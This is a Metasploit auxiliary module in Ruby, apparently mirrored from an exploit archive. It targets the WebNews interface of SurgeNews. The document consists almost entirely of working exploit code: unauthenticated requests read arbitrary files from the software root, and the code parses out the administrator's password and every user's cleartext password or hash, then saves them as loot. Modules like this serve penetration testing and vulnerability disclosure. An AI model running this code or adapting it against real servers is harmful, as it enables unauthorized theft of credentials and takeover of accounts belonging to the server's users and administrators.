Share
## https://sploitus.com/exploit?id=PACKETSTORM:181068
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
HttpFingerprint = { pattern: [ /DManager/ ] }
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SurgeNews User Credentials',
'Description' => %q{
This module exploits a vulnerability in the WebNews web interface
of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
users to download arbitrary files from the software root directory;
including the user database, configuration files and log files.
This module extracts the administrator username and password, and
the usernames and passwords or password hashes for all users.
This module has been tested successfully on SurgeNews version
2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
},
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'Author' => 'bcoles',
'DisclosureDate' => '2017-06-16'
)
)
register_options [ Opt::RPORT(9080) ]
end
def max_retries
3
end
def check_host(_ip)
@tries = 0
res = read_file 'install.log'
if res =~ /SurgeNews/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def read_file(file)
data = nil
@tries += 1
vprint_status "Retrieving file: #{file}"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
'vars_get' => { 'cmd' => 'part', 'fname' => file }
if !res
vprint_error 'Connection failed'
elsif res.code == 550
vprint_error "Could not find file '#{file}'"
elsif res.code == 200 && res.body =~ /550 Key: No key activated/
# unregistered software throws an error once in every ~20 requests
# try again...
if @tries >= max_retries
vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
else
vprint_status 'Retrying...'
return read_file file
end
elsif res.code == 200 && !res.body.empty?
vprint_good "Found #{file} (#{res.body.length} bytes)"
data = res.body
else
vprint_error 'Unexpected reply'
end
@tries = 0
data
end
def parse_log(log_data)
return if log_data.nil?
username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
{ 'username' => username, 'password' => password }
end
def parse_user_db(user_data)
return if user_data.nil?
creds = []
user_data.lines.each do |line|
next if line.eql? ''
next unless line =~ /^(.+?):(.*):Groups=/
user = ::Regexp.last_match(1)
pass = ::Regexp.last_match(2)
# clear text credentials are prefaced with '*'
if pass.starts_with? '*'
creds << { 'username' => user, 'password' => pass[1..] }
# otherwise its a hash
else
creds << { 'username' => user, 'hash' => pass }
end
end
creds
end
def run_host(_ip)
@tries = 0
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']
# Read administrator password from password.log
admin = parse_log read_file 'password.log'
# If password.log doesn't contain credentials
# then the password hasn't been updated since install.
# Retrieve the credentials from install.log instead.
admin = parse_log read_file 'install.log' if admin.nil?
if admin.nil?
vprint_error 'Found no administrator credentials'
else
print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
cred_table << [admin['username'], admin['password'], nil, true]
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: admin['password'],
username: admin['username']
}
credential_data.merge! service_data
credential_core = create_credential credential_data
login_data = {
core: credential_core,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge! service_data
create_credential_login login_data
end
# Read user credentials from nwauth.add
users = parse_user_db read_file 'nwauth.add'
if users.blank?
vprint_error 'Found no user credentials in nwauth.add'
return
end
vprint_status "Found #{users.length} users in nwauth.add"
unless users.nil?
users.each do |user|
next if user.empty?
cred_table << [user['username'], user['password'], user['hash'], false]
if user['password']
print_good "Found user credentials (#{user['username']}:#{user['password']})"
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: user['password'],
username: user['username']
}
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :nonreplayable_hash,
private_data: user['hash'],
username: user['username']
}
end
credential_data.merge! service_data
credential_core = create_credential credential_data
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge! service_data
create_credential_login login_data
end
end
print_line
print_line cred_table.to_s
p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'
print_good "Credentials saved in: #{p}"
end
end